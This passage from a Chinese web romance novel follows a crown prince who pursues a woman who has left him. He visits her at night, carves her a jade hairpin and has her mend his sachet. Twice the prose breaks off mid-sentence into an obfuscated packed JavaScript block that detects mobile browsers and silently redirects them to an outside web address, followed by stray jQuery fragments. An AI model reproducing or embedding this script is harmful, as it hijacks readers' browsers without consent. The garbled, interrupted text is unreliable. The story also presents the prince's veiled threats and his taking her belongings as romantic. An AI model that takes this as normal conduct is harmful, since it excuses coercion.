谢知寒牵过她的手,江露染很想躲开,可是他的力气很大,没有一点逃离的可能。 不过是牵牵手,就让他牵好了,大不了一会儿洗洗就是了。 谢知寒将她的衣袖挽了上去,看着微红的手腕。 “疼吗?”他轻轻地问。 这还用问,当然疼了,但是她不想理他。 只是简单地“哼”了一下,谢知寒看她一眼:“是我的错,我以后不会再这样了。” 哼,谁想听他的承诺,他以后少半夜来找她,就是她的福气了。 谢知寒拿出袖中的药瓶,旋开盖子,室内很快充斥着清苦的药膏味。 他将药膏认真抹在少女的手腕上,看着清透的药膏一点点被皮肤吸收,手腕上的红肿一点点消了下去。 谢知寒的心才彻底放了回去,今日他的确做的不对,有些操之过急了。 他将少女的衣袖放下,看着少女姣好的侧脸,她的视线停留在雪白的墙壁上,他眸中神色暗了暗,那一面什么都没有的墙比自己还有吸引力不成? 他心中叹了一声,将药瓶放在桌案之上,对着她道:“夜色已深,晓晓明日也要记得涂药,今晚...早点睡。” 早点睡,他也好意思对自己说早点睡,如果不是他,她早就已经睡着了。 哪里还会耽搁到此时。 眼看谢知寒还要翻窗户离开,虽然她决意要和他分开,可也看不得一向光风霁月的储君继续翻窗户,她忍了又忍,终于还是将门打开。 “殿下,还是走门吧,翻窗户...毕竟不是君子所为。” 谢知寒最后看了她一眼,从门离开了,他离开好久之后,房间内淡淡的檀香味才彻底散去。 江露染一夜没有睡好,她昨晚忘记问他是不是将糕点铺子买下来了,以及他是不是见到了沈公子,以及他对沈公子都说了些什么。 次日起床她的眼圈都黑了。 阿姨一看到她的模样,就打趣她:“昨晚没睡好?” 昨晚她是真的没有睡好,今日也实在是没有与人开玩笑的心情,只是懒懒地回应阿姨的问题。 阿姨看着江露染实在是精神不济,于是今日又给她放了一天假。 沈昱刚巧此时过来寻人,他想问问她昨日的伤好了没。 沈昱一看到江露染恹恹的模样,一怔:“江姑娘是生病了吗?为何脸色看上去如此不好?” 江露染很快调整好自己的情绪,唇边漾出一抹笑容。 “我没有生病,多谢沈公子关心。” 看着眼前少女脸上重新挂上笑容,沈昱的心才落回了原处。 “江姑娘,昨日的伤好了吗?”说着,他拿出袖中的那瓶药,对着她道:“这瓶药我回去便让大夫看了,大夫说这是治疗淤青最好的药,我想了想,还是应当拿来给江姑娘。” 江露染望着静静躺在沈昱手心的药瓶,眼前蓦然浮现出昨夜谢知寒握着她的手腕涂药的场景,眼前顿时醒了过来。 连连后退拒绝,仿佛那瓶药是要人命的鹤顶红。 沈昱很是无措,江姑娘看来是不太喜欢这药,看来他得将这瓶药丢了。 71. 第 71 章 “江姑娘不喜欢这瓶药?那在下就将这瓶药丢了。”说着,就要将手中药瓶丢掉。 虽然自己用不到这瓶药,可这瓶药又有什么错,它也是可以治病救人的。 “沈公子,我...也不是不喜欢这瓶药,,,只是倒也不必将它丢掉。” 沈昱看了她一眼,最终还是听了她的话,将药瓶收入袖中。 他总觉得江姑娘与这瓶药有什么渊源,半晌,他自己又否定了这个想法,觉得很是好笑。 江姑娘怎么会与一瓶药有渊源呢,看来近几日一定是自己书读的有些多了,想问题也总是这么奇奇怪怪的。 沈昱还是担心江露染的伤,带着她去了医馆,直到医馆里的大夫说江姑娘身体无碍,沈昱这才彻底放下了心。 她的手腕白皙似雪,染上一圈红总归是令人心疼的。 两人一起并肩回去,沈昱突然想起:“江姑娘,我答应你要去游湖的,择日不如撞日,就明日如何。” 明日,江露染又想起昨日房间中的那袭白色身影,想,她昨日将话说得那般明白,今晚殿下应当是不会再过来了。 既然决定要断,那么就不如断的干净些。 不应该再与殿下有所纠缠。 江露染望着面前翩翩如玉的沈公子,轻轻点了点头。 次日,沈昱很早就来等待江露染,直到从开着的支摘窗中看到了与昨日袖中那瓶一模一样的药。 “咦,江姑娘,你这里怎么也有一瓶这样的药?” 江露染望了一眼桌案上忘记收起来的白色药瓶,掩饰道:“应当是在药铺里买到一样的了。” 怪不得江姑娘不要自己手中那瓶,原来是江姑娘已经有了。 沈昱收回眼帘。 今日江露染穿了浅黄的衣裙,整个人看上去灵动非常,像是夏日花丛中翩然而起的蝴蝶。 沈昱贴心地走在他身侧,为她遮挡住过往的人群。 两人行至一起,天造地设,简直就像一对珠联璧合的情人。 般配非常。 期间沈昱还时不时地低眸与江露染说话,亲密非常的模样。 处于身后的谢知寒静静望着他们,眼神中逐渐透露出冰冷。 他的晓晓,就这样旁若无人地与他人相处。 虽然没有说一句话,但是周身的空气已然跟着他一起冷下来。 宛如飘着落雪的冬日,无比寒凉。 沈昱总感觉有人在跟着自己,他回头看去,果真看到身后的人。 那人一袭白衣,姿态闲适,却能觉察出不同于旁人的矜贵,一双精致的眼眸向自己看过来仿佛带着淡淡的敌意。 敌意?沈昱再次看时,那人眼神中的敌意已经消失,眼瞳中早已换上一片淡淡的色泽。 一定是自己看错了,初次相见的公子怎么会对自己怀有敌意。 最近这几日的书看来是真的读多了,回家得赶快睡会儿。 眼见那公子与自己行走的方向一致,沈昱不知何故,突然出口问道:“公子也是要去画舫的吗?” 江露染此时才注意到身后的谢知寒,眼眸蓦地睁大,眼眸中荡漾着浮动的波光,像是前方不远处粼粼的河面。 谢知寒将她所有的表情尽收眼底,他也想跟她一起去游湖,可是此时这里还有一位沈公子,况且,谢知寒指尖紧了紧,看她的模样,晓晓并不愿意。 他心中轻叹一声,既然晓晓不愿意,那自己还是不打扰她了罢。 他缓缓开口:“不是。” 江露染提起的心放下,殿下为何此时出现在这里,难道今日殿下有事情要办? 这里是游玩的地方,难不成一会儿要出什么事情? 眼看晓晓的神色稍微染上了惊慌,谢知寒早已猜到了她心中的所思所想。 眼眸黯淡了一瞬,晓晓想到自己时就不能带点好事吗? 虽然他是太子,可也不能日日办案。 谢知寒将不快之意用力压下,语气平直:“我只是来此处随意走走。” 随意走走,原来是自己打扰了这位公子的散步。 沈昱不好意思地道歉:“打扰公子。” 而后,对着江露染道:“江姑娘,画舫就在前方,我们不要打扰这位公子。” 江露染看着谢知寒神色淡淡,似乎没有将方才的插曲放在心上。 她本来应该松一口气,可是不知为何她能感觉到他似乎在生气。 殿下为何生气? 她今日都没有与他说话,不像昨日那样肆意地违逆他。 想来,应该不是自己的问题。 江露染站转过头去,向着面前的画舫走去。 谢知寒停在原地,静静看着面前的少女和俊俏的公子,举止亲密地一点点距离自己远去,并肩走向面前的画舫。 他的晓晓在一点点的离开自己,一想到这个,谢知寒内心仿佛被紧紧地攥住,呼吸不过来。 他是跟她说过,可以给她时间。 可是,他给她的时间可不是让她用来做这个的,光明正大的与旁人幽会。 虽然他是储君,可他的气量其实也不怎么好,尤其是在面对着她的时候。 晓晓为什么总是可以挑战道他的底线。 谢知寒负手而立,静静看着画舫上亲密的两人,他的晓晓在吃桃子,他的晓晓在饮茶,画舫摇晃了一下,他的晓晓要摔倒了,谢知寒指尖微动,已经有人将她扶起来了,又是那位沈公子。 谢知寒静静看着画舫中发生的一切,眼眸中早就已经是惊涛骇浪。 这还是江露染第一次游湖,画舫上的一切都很新鲜,她觉得很开心。 日光下的河水波光粼粼,微风吹来波纹轻轻晃动,很是好看。 她的视线顺着河水的一尾鲤鱼逐渐向北,而后看到了不远处那方白色的身影。 是殿下,他竟然还没有离开。 他的白衣随着江上的风轻轻飘起,身影看上去很是孤独。 像是被人遗弃了。 江露染怔怔地望着那个身影,耳边回荡的是她从前说过无数遍的话。 晓晓不会离开殿下的。 可是,她最终还是离开他了,剩下他一个人。 江露染隔着无数人群和遥远的湖面与那道白色的身影对视,可是,殿下身边已经有了其他人,不再需要自己了。 虽然她从来没有希冀过太子妃的位置,可是她也是有自尊的。 虽然她不在他身边了,可是她仍旧希望他可以过得好。 余生开心,自在,得到他想要的一切,做一个肆意的帝王,得到全世界最好的爱和拥护。 虽然她不在他身边了,可她也会在很遥远的地方为他祝福和祈祷。 无论何时何地,她都希望他可以很好很好。 方才一路看过去的那尾鱼,此时又游了回来,尾巴在空中悬起,湖水滴到江露染的手背,有些凉。 沈昱注意到江露染的视线,顺着她的视线看了过去,那里什么也没有。 “江姑娘,在看什么?” 江露染很快回神,向着方才的地方看去,那道白色的身影已经不见了,殿下他已经离开了。 “没什么,再看鲤鱼。” “江姑娘,是不是累了?要不我们就回去休息?” 在画舫上呆了好一会儿,经过沈昱提起,她才意识到自己是真的有些累。 确实是要休息了。 两人才一同行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314775|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一点的路,沈昱就被家中的奴仆唤走了,说是母亲有要是寻他。 沈昱一脸歉意地看着江露染:“江姑娘,在下恐怕是要失礼先行一步了。” “无妨,沈公子只管去,不必担心我。” “那江姑娘回去时一定要小心。” “多谢沈公子。” 沈昱离开之后,马车上有一点空。 马车行的很稳,一点摇晃也没有。 江露染是真的有点累了,不知不觉,她就倚着车窗睡着了。 车窗有点硬,睡着有些不舒服。 梦中也很不踏实。 直到后来不知是谁,轻轻帮她在脑后垫了件软绵绵的物品,她才睡的安稳了。 睡梦中想,这个人真是个好人。 这一觉睡得很是安逸,江露染醒来时已是一个半时辰之后。 她睁开眼睛,入目就是一片淡淡的白色。 上面传来她熟悉至极的檀香味。 她愣了一会儿,终于反应过来,这是谢知寒的衣服。 她将衣服从眼前拿开,看到面前人的视线正落在自己身上,异常专注,也不知看了多久。 明明之前与殿下做过比这还要亲密的事情,可是此时被他如此注视着时,她耳尖还是不可控制地浮上薄红。 她立即调整好坐姿,拿下自己身上的衣袍迅速叠好,还给他。 谢知寒看着她的举动,却没有接。 江露染不明所以,还是将衣服放在了他的身侧。 谢知寒心中涌起一阵酸涩,不与自己见面,现在自己就连一件衣服也不可以为她披了吗? 也不知殿下是何时来的,她的记忆还停留在沈公子要回去那时。 想来此时已经很晚了,她还是早些回去比较好。 “殿下何时来的?”走之前还是与殿下寒暄一下比较好。 否则,直接掀帘就走也太不礼貌了。 谢知寒眉眼淡淡,说出口的话也是淡淡的。 “方才。” 方才,可见殿下也是才来的。 可是殿下来这里做什么呢?江露染停下脑海中的思考,不要想,这是殿下的事情。 殿下去哪里,有他自己的自由。 “殿下,此时天色已晚,那我就先离开了。”说着,江露染就要起身。 谢知寒却稳稳握住她的手腕,拦下她的动作。 “晓晓,我有话想与你说。” 他握着她手腕的指尖未松开半分。 明明手腕上的伤已经好了,可是此时他触碰过的皮肤还是传来阵阵灼意。 比受伤时还要疼。 她试着抽回,可是他的力气很巧妙,没有很用力,可她也抽不出来。 只好任凭他握着。 “殿下要与我说何事?”她语气淡淡的,好像对他的话丝毫不在意。 谢知寒心中传来一阵涩意。 现在,他与她说几句话也是不能了吗? 她的手腕仍旧纤细,他可以清晰地触摸到她的腕骨。 薄薄的一点。 被他接触的地方逐渐传来一阵热意,顺着那寸皮肤逐渐向里,若是她现在回头,一定可以看到谢知寒清隽的脸庞,浮现着不解和困惑。 以及一些舍不得。 可她没有回头,所以也没有看到他的表情。 被他握着的手腕,一直抽不出来,江露染挣扎了一会儿,就放弃了,她重新坐于原地,眉眼认真看着面前的人。 眼神透露出不解,殿下要和自己说些什么呢? 她一眨不眨地望着他,谢知寒与她对视良久,终于先败下阵来。 “晓晓。”他轻声地呼唤她,一字一句很是认真。 72. 第 72 章 谢知寒望着江露染躲避自己的模样,心中轻叹一声,他浅浅开口,声线低沉,宛如天上的月色。 心中像有一根刺轻轻扎进来,有点疼。 谢知寒将那种细微的感觉掩下,面容仍旧淡淡。 他握着她手腕的指尖稍稍用力,将她拉到自己面前,看着少女姣好的侧脸,他声线很低,却很柔和,听上去像是在一字一句地哄人。 “晓晓,为何不看着我?” 江露染视线低垂,一直在看着马车上角落的花纹,不知道工匠是怎样雕刻的,看上去精美绝伦。 不知为何,她不想与他对视,仿佛,一与殿下对视,她就会控制不住地关心他,可是她明明已经做过决定,不会再与他有任何牵扯。 他的声线低沉,像是冬日的落雪丝丝缕缕侵入她身体的每一寸,她想了想,还是应当看着殿下,毕竟,说话时不与人对视是一件非常不礼貌的事情。 她微微抬眼,视线相接,她看到他的瞳仁如黑色的琥珀,好看至极,那双清浅至极的眼瞳中只倒映着她小小的身影。 可是,她已经做出了自己的决定,殿下为何还如此看自己。 她眨眨眼,将心中所有的情绪全部压下,对着他道:“殿下,想与我说些什么呢?” 她不觉得他们此时还可以平心静气说些什么。 谢知寒将她面上的全部情绪尽收眼底,虽然她仍旧在犹豫,但是现在至少肯抬眸看自己了。 至少她此时此刻想的是自己一人。 他声音压低,在寂静的马车上听上去格外清晰。 “晓晓,今日为何与沈公子一起游湖?” 江露染望着他,逐渐睁大了眼眸,他的神情平静,一点也不像是故意找麻烦,倒像是在真挚地向她请教,请教一个他实在弄不懂的问题。 这还有什么原因吗?她想去玩所以就去了,哪里需要什么原因。 还能等她回答他的问题,谢知寒已经自顾自地说了下去。 “晓晓,可不可以离开沈公子?” 她眼眸越发的睁大,眼瞳中充满了不解和质问。 良久,她才开口:“...为什么?” 这是不愿的意思。 谢知寒心底再次被扎了一下,他静静道:“不可以吗?” 沈昱是自己的朋友,她与谁教朋友与殿下又有何关系。 “如果我不答应殿下,殿下是不是会对沈公子不利?” 明晃晃的维护,谢知寒的心中越发疼起来。 他只是问一下而已,她就对这个才认识不过几日的沈公子如此维护。 他明明是他的夫君,可她对自己的痛苦视而不见。 他为人一向光明磊落,她怎么会这么想他。 窗外的月亮斜斜地挂着,偶尔吹来一阵风,带来一阵凉意。 马车上的气氛一时凝固起来,谁也没有说话,像是一场沉默的对峙,谁也不肯先败下阵来。 谢知寒轻叹一声,终于输给她。 “晓晓,”他轻声唤着她的名字,珍重的模样像是在对待世界上唯一的珍宝。 “我不会对他怎么样。” 沈昱若是出了什么事,晓晓会伤心,他不愿看到她伤心。 月亮升起,皎洁的银色光辉照射下来,有一缕月光透过帘子照射进来,照在谢知寒脸上,显得他的下颌越发的清晰,显露出悲伤。 他的面容淡淡,像是窗外的月色一般凉。 她不想让沈昱出事,那他自然会满足她,他会满足她的所有要求,但是只有一条不可以。 那就是,不可以离开他。 江露染望着他,她没有与他对视,而是望着他冷白的下颌。 她尽量躲避着与他的对视,以及亲密。 他的语气中带着无奈和一点疲乏,心里那些丝丝缕缕的关心逐渐涌了上来,江露染逐渐将自己心中异样的情绪压了下去。 “殿下,京中真的无事吗?”她是真的很好奇。 他可以在宿州这么多日,青奚帝不是得了重病,殿下此时很忙才对。 京中没有政事需要殿下处理吗? 她不过一个小小孤女,好像并不值得他千里迢迢地追寻。 孟姑娘难道不会计较吗? 像是看穿了她的心思,谢知寒一字一句向她解释,语气真挚像在剖心。 “晓晓,我与那位孟姑娘没有任何联系,她已经不在宫中。” 他的眼神停留在她身上,片刻不移。 他好像是第二次与自己解释,而她也是第二次想起这件事。 她以前明明不是这样的性格,而如今总是一而再再而三的反常。 她有些不太喜欢这样的自己。 可又怨不得旁人,尤其是她面前这位光风霁月,举止端庄的太子殿下。 从此以后,她不会再关心什么孟姑娘,与不会再关心殿下与旁人的事情。 正如她要求殿下做到的事情一样,她也不会再去关心他的任何。 他一样有他的自由。 “殿下...今日来是为了与我说些什么呢?” 她还记着他留自己的原因。 谢知寒觉察到她的意图,她就是想问清楚,而后早些离开。 他的眼眸暗了暗,但还是说出心中想说的话。 “晓晓...何时跟我回家?” 回家? 江露染愣了一下,殿下说的是皇宫吗? 那是殿下的家,不是她的。 江露染面上显现出犹豫,她记得她明明跟他说过,不会再回去,可此时他好像不记得。 犹豫半晌,江露染最终还是说出:“殿下,那里不是我的家。” 谢知寒定定地望着她,不明白她的意思,胸腔中涌动着一阵腥甜。 她怕他听不明白,仍旧在一字一句地解释。 “皇宫是殿下的家,不是我的。” 他越发不明白,他的不就是晓晓的,她离开的那么决绝,如今连拒绝都说的如此干脆。 他强压下身体的不适,语气平缓:“晓晓是不是需要时间?” 他看着她在自己面前缓缓摇头,拒绝了他的一切请求。 心中的疼痛超过了身体的不适,这种疼痛逐渐蔓延至全身。 他的面色仍旧平静自若,内心深处却分崩离析。 江露染也意识到自己这话好像说的有些过分,殿下没有生气因为殿下是君子,不与自己计较,她也应该见好就收。 此时天色已晚,她也该回去了。 眼见她将自己的外衫脱下,转身就要离开,仿佛与他相处是一件多么可怕的事情。 谢知寒手指收紧,指尖泛白。 他伸出手,将衣服好好地披在她身上,透不出一丝风。 “外面冷,晓晓还是披上。”说完,就掀开帘子走了出去,实在怕听到她的拒绝。 谢知寒缓步走下马车,晚间的寒风徐徐吹来,而他却一点也不觉得冷。 他的手中握着一枝珠钗,是晓晓睡熟时不小心掉落下来的。 他趁她熟睡拿了起来,想来她应该没有发现。 上面的绒花碎了一片,看上去很不完整,像是被人遗弃了。 而他如今也是被遗弃了,与这珠钗倒是相得益彰。 谢知寒握紧手中的珠钗,她方才的话不断在他耳边回荡,她说,跟自己回去。 那里不是她的家。 簪子的尖端刺着手心,他一直觉得有晓晓在的地方才可以称之为家,如果她不回去,那他岂不是也无家可归了。 他到底该拿她怎么办。 她想脱下殿下的衣服还给他,可是殿下先离开了,以一种不容拒绝的姿态。 江露染望着那道清隽的背影,好似能感受到来自他身上的悲伤。 外衫上传来她熟悉至极的清冷檀香,好似他还在她身旁,可实际上,他已经走远了。 * 谢知寒回去以后,将那只珠钗放于桌案之上,看着那掉落一片叶子的绒花良久,他唤来了暗卫。 “去将宫中的璧玉拿来。” 暗卫眼中闪过一丝诧异,那块璧玉可是邻国的贡品,绝世珍宝,就连青奚帝也舍不得动一丝一毫。 殿下如今拿来可是要做些什么,殿下从来不在乎这些身外之物,他的视线忽然移到了那只碎掉的珠钗上,好像明白了什么。 殿下...是要讨姑娘开心?陷入爱情的人真是可怕,就连殿下一向无欲无求的人也会卑微至此,他可不能这样。 暗卫领了命之后就离开了,室内很快又剩下谢知寒一个人,他静静望着那只珠钗许久,从绒花上看到了晓晓的身影,不知道她现在在做些什么,可有一点点的时间想过自己。 若是有,他会很开心,若是没有...谢知寒指尖收紧,他会让她想着自己的。 如今陛下远离朝堂,朝中的一切政事都是殿下决定,所以暗卫很容易就将那方璧玉取来。 那方堪称绝世珍宝的璧玉此时就躺在面前的桌案之上,谢知寒取过一侧的刻刀认真雕琢起来。 其实他以前从来没有做过这种事情,但一想到是为晓晓做的,他的心中就不自然地涌上欢喜,恨不得立刻就将手中的玉石雕刻成型。 而后去送给她,她或许不想看见自己,但是没关系,他是为了还她曾经丢弃的珠钗,这个理由好像也说得过去。 指尖因为这片刻的分神被刻刀刺中,雪白的指尖逐渐蔓延出鲜红的血迹,一点点沾湿了手心的玉石。 玉石也因为血迹的晕染瞬间变红,看上去很是明艳。 明明身侧就是止血的药瓶,殿下怎么也不涂药止血,就那样看着血迹蔓延,虽然是小伤口,但殿下的身体近些天来不太好。 陷入爱情的人啊,远处的暗卫啧了两声,不住摇头。 可殿下的心意,那位江姑娘未必会领受,殿下这又是何苦呢? 珍稀的玉石逐渐被雕刻成云梦花的模样,花蕊红的耀眼,在日光下泛着盈盈的光。 * 江露染回去之后就将谢知寒的外衫清洗晾干,其上仍旧有淡淡的檀香。 如何将殿下的衣服还给他呢,虽然他并不缺这一件衣服,但这样一直留在她这里也不太好。 江露染望着那件价值不菲的白衣,有些苦恼。 那日应该还给殿下的,今日就不用为此烦忧。 门外传来一阵轻轻的敲门声,不疾不徐,游刃有余。 江露染抬眼望去,似乎知晓了那是谁,在此时前来的只有殿下,今日他终于不走窗了。 她快步过去开门,今日可以将衣服还给殿下。 从此以后,他们应当再无瓜葛。 江露染望着面前的人,一袭白衣,光风霁月,神情浅淡地望着自己。 “殿下。” 她想立刻转身将衣服递给他,然而却被他唤住,语气轻描淡写。 “晓晓,都不请孤进去坐坐吗?” 又是以势压人。 江露染忍了再忍,回头对谢知寒道:“殿下,请进。” 谢知寒缓步进入室内,整个房间因为他的到来蓬荜生辉。 他淡淡地站在那里,像是在等她说下一句话。 江露染再次忍了忍,将他引到椅子旁,道:“殿下,请坐。” 颇有几分咬牙切齿的意味。 谢知寒看她一眼,神情淡淡。 他这是什么意思,难道他还想让自己为他倒茶。 她仔细观察了一下他的表情,他应该就是这个意思。 她向茶盏中倒了慢慢一杯茶,放在桌案上的时候声音有些大,砰的一声。 毫不客气道:“殿下,饮茶。” 远处的暗卫摇了摇头,全天下也就只有这位江姑娘敢对殿下如此。 若是他人敢对殿下用这种语气说话,暗卫摇了摇头,啧啧,简直不敢想。 谢知寒拿起手中的茶盏一饮而尽,江露染看着他淡然的样子,实在忍不住:“殿下此番何事?” 她才不信他此番前来就是为了折腾她的。 谢知寒将手中茶盏缓缓放下,看了她一眼,而后一字一句道:“晓晓,那日落了一个东西。” 嗯?什么? 谢知寒提醒她:“珠钗。” 江露染摸了摸头顶空空如也,她就说好像少了些什么,原来那日是丢了珠钗。 难道殿下来跑一趟就是为了偿还珠钗,是不是有些过于小题大做。 况且一只珠钗而已,她又不是买不起。 大不了,再买一只就是了,哪里需要劳烦太子殿下兴师动众。 她突然很想豪气地对他一摆手,不就是一只珠钗,我不要了行不行。 她这么想自然也就说了出来:“不就是一只珠钗,我改日再买一只就可以,殿下倒也不必过来寻我。” 谢知寒定定看了她一会儿,眼神中闪着她看不懂的光。 而后,他缓缓从袖中拿出一只珠钗。 与她之前戴的那只珠钗有些相似,但又不尽相同。 原来的绒花变成了玉石,是用玉石雕刻的一朵云梦花,她最喜欢的花。 非常精致,栩栩如生。 只是花蕊不知用的哪种颜料染成,带了不可忽视的红,明艳非常。 一看就是非常贵重的珠钗,她要不起。 “殿下,我不能要。”她甚至没看几眼,就拒绝了。 谢知寒一点都没在乎她的反应,径直站起身,将珠钗稳稳地戴在她发间,而后,缓缓端详了一会儿,很是满意。 他按住她想要摘下来的手,缓缓道:“晓晓,若是摘下来,孤可不保证接下来会发生一些什么事。” 他的语气淡淡,不将任何事放在心上,是淡然的威压。 又来,这是第几次了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328849|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她欲摘下珠钗的手停了停。 不就是一只珠钗,她会好好保管,日后有机会再还给他。 想到那日的衣服,她立即将衣服取出,叠整齐,奉还给他。 “殿下,你的衣服。” 谢知寒望着面前已经叠整齐的衣物,其实他不是很想要,总觉得他的物品放在她这里,是一件自然不过的事。 夫君的衣物放在妻子身边,那不是一件很正常的事。 谢知寒望着那件白衣,上面传来淡淡的甜香,是晓晓身上的味道。 想来是这几日一直放置在她房中,沾染上的。 这是自己的衣物,上面沾染着属于她的香味。 谢知寒心中一动,将衣物接过。 看看他接过衣物,江露染心中一松。 殿下至少接过了,不会被旁人看到。 接过衣物的瞬间,江露染望见他雪白的指尖有一道细细的伤口,看上去伤的很深。 明明知晓此时不该关心他,应该送他出门。 但是她的话却没有经过思考直接说了出来,关心他好像一直是她的本能。 “殿下,怎么受伤了?” 听见少女的话,谢知寒这才想起指尖那道被玉划到的伤口。 那时应当是很疼的,可是此时看到少女戴上珠钗的明媚模样,他却一点也记不起来当时的疼痛。 看到她的笑和喜欢,他会觉得一切都是值得的。 没有什么比她的开心还重要。 “不妨事。” 江露染懊悔于自己方才的口快,可是此时听到他说不妨事,她的心到底还是放了下来。 “殿下,还有其他的事吗?” 明晃晃的赶人,他难道多呆一会儿也不可以吗?谢知寒望着少女发间的珠钗,罢了,今日的目的已经达到,就不再打扰她了。 谢知寒离去之后,江露染再次没有睡好。 明明都说了不要再来,殿下今日又是做了什么,他可是储君,一言九鼎,如今怎可一而再再而三的对自己失言。 次日起床再次顶了两个黑眼圈,沈昱来的时候再次看到她没有睡好的模样。 “江姑娘,昨日没有睡好?” 沈昱拿出手中安神的香囊放到她手心:“上次看江姑娘没有睡好,我就找大夫配了安神的香囊,将这个香囊悬于床边,晚上会不做噩梦。” “多谢沈公子。”江露染将香囊悬挂于床边,果然睡得很好。 次日起床没有黑眼圈。 虽然她觉得主要原因是殿下没有再来。 希望他不会再来。 * 江露染读了两页话本子,准备吹灯睡觉了,突然门外传来一阵敲门声。 她不用想也知道是谁,除了殿下不会有其他人。 她将烛火吹灭,房内瞬间漆黑一片,她已经睡着了,殿下应当不会再来打扰她了吧。 殿下可是君子,断不会做这种扰人清梦的事。 然而,她想错了。 门外的敲门声一直不间断,似乎她不开门,他就会一直敲下去。 他敲下去没有问题,可是这样阿婆一定会听到,倒时她要如何解释。 江露染望着门外,有些烦。 她打开门的动作并不温柔,带了明显的恼怒,说出口的话也毫不客气。 “殿下,何事?” 谢知寒看着少女不耐烦的模样,眼眸中氤氲出笑意,很久不见她对着自己闹小脾气了。 “晓晓不开心?” 殿下这不是明知故问。 她难道应该笑脸相迎,这种事她可做不出来。 “殿下,若无事,我就先去睡了。”说着,就要关门。 谢知寒推开门,止住她的动作。 江露染望着他的举动,知道今日逃不过。 倒是不知道他究竟有何事。 谢知寒将腰间的香囊摘下来:“晓晓,我的香囊坏了,你可以为我补一补吗?” 原来就是这点小事。 “殿下,若是想补香囊,殿下尽可以去找绣娘。” 谢知寒握住她的手,将香囊放入她的手心。 “这是晓晓为孤绣的香囊,孤不想让其他人补。” 掌心布料的顺滑触感一路向上,沾上窗外的夜色,有点凉。 江露染低头望去,银白色的香囊,上面有淡青的竹叶,果真是自己绣的那枚。 颜色已经有些旧,底部果真已经开线。 这是自己曾经为他一针一线绣的,江露染望着手心那枚香囊,心里不由得软了下来。 “我会为殿下补好,殿下请回吧。” “不行,孤想在这里等晓晓补好再走。” 江露染看了一眼,他的神情不似作伪。 在这里等她做什么,这可不是一下子就能补好的。 大抵要等上一个时辰,看来殿下的确是很闲。 她拿出针线,在烛下认真补着香囊,多日未见,她的刺绣功夫很有长进,在底部还补了几片青色的竹叶。 谢知寒就坐在一旁,一眨不眨地望着她。 烛火的光映在她的脸上,显得他的晓晓是那样柔美,多日未见,她比之前瘦了点,谢知寒皱眉,晓晓到底何时跟自己回宫,东宫的小厨房都是为晓晓准备的。 她埋头缝补香囊的模样很乖,像一只乖巧的小猫,不再剑拔弩张。 她的心思悉数放在香囊之上,没有觉察谢知寒的视线一直落在她身上。 十分专注。 房间内无人说话,安静的落针可闻。 谢知寒可以清晰地听到自己的心跳声。 他忽然想让时间停留在这一刻,他跟晓晓之间没有争吵,她也没有离开他,他们仍旧在明轩阁,而她是自己的妻子。 那时他以为,他们会有很好很长的未来。 江露染看了看手中的香囊,针脚细密,叶子绣的栩栩如生,看来这些天跟隔壁阿姐学的刺绣效果显著。 她将手中的香囊递还给他。 “殿下,香囊补好了。” 谢知寒轻叹一声,时间怎么过的这么快。 江露染看他迟迟没有接过,不解道:“殿下?” 难道是不喜欢? 谢知寒凝视着面前细白的手指,缓声出口:“孤想要让晓晓帮孤戴上。” 每当他用这个自称的时候,就不会有好事发生。 江露染将手中香囊认真系在他腰间,他身上的檀香味越发清晰地侵入她的感官,那是一种久未谋面的故人的味道。 他垂眸看着面前的少女,忍着将她拥入怀中的冲动。 虽然他很想,但如果将她在此时拥入怀中,晓晓是不是会更加生气。 他忍了再忍,最终还是轻轻碰了碰她的额发,轻轻道一句。 “晓晓,好好休息。” 最好梦到我。 73. 第 73 章 江露染梦中也传来淡淡的檀香味,睡得也很安心。 窗外的月亮已经渐渐爬上来了。 照耀着屋内的一切,以及已经少女熟睡的姣好的脸庞。 谢知寒轻轻关好她的房门,静静在她院中看了一会儿月亮,天上的月亮皎洁,明亮,有点像宫中的那块璧玉。 那块璧玉已经被他用心雕琢成花束,送给了心爱之人。 晓晓就像今夜的明月,皎洁而明快。 永远带给人希望。 他多么希望这轮明月可以永远在自己身边。 这轮明月已经无数次说过要离开他的身边,可是,他有信心将这轮月亮追回来。 他相信,只要虔诚去做一件事,总会成功。 江露染次日醒来的时候,发现床头悬挂的沈公子送来的香囊不见了,一个香囊而已,又不是特别贵重的物品,昨夜只有殿下一个人来过,难道是殿下拿走了? 江露染望着床头空空荡荡的位置,有些疑惑。 殿下难道晚上也休息不好,需要香囊助眠,可,为何要独独拿走自己这个呢? 这个可是沈公子送的,若是沈公子问起来她可要如何与沈公子解释? 怎么以前没有发现殿下如此喜欢香囊。 不过昨日没有香囊,她睡得还可以。 室内弥散着淡淡的檀香味,江露染脑海中浮现昨夜的场景,这次香囊也为殿下补了,殿下总不会再找理由来寻自己了吧。 她与他,应当不会再见面了。 若是殿下下次再来,她就不给他开门,她不信他还能敲一晚上不成。 沈昱前来,看到江露染发间戴的珠钗,是栩栩如生的云梦花,花蕊一点红,很是明艳。 “江姑娘,今日的簪子很漂亮。” 听到沈昱的夸赞,江露染这才发觉殿下送来的簪子她没有摘。 下次一定摘了,否则让他人误会就不好了。 “是...一个友人送的。” “想来这位友人与江姑娘的关系一定很好。”玉石一看就很名贵,这位友人认识江姑娘真的是一件很幸运的事情。 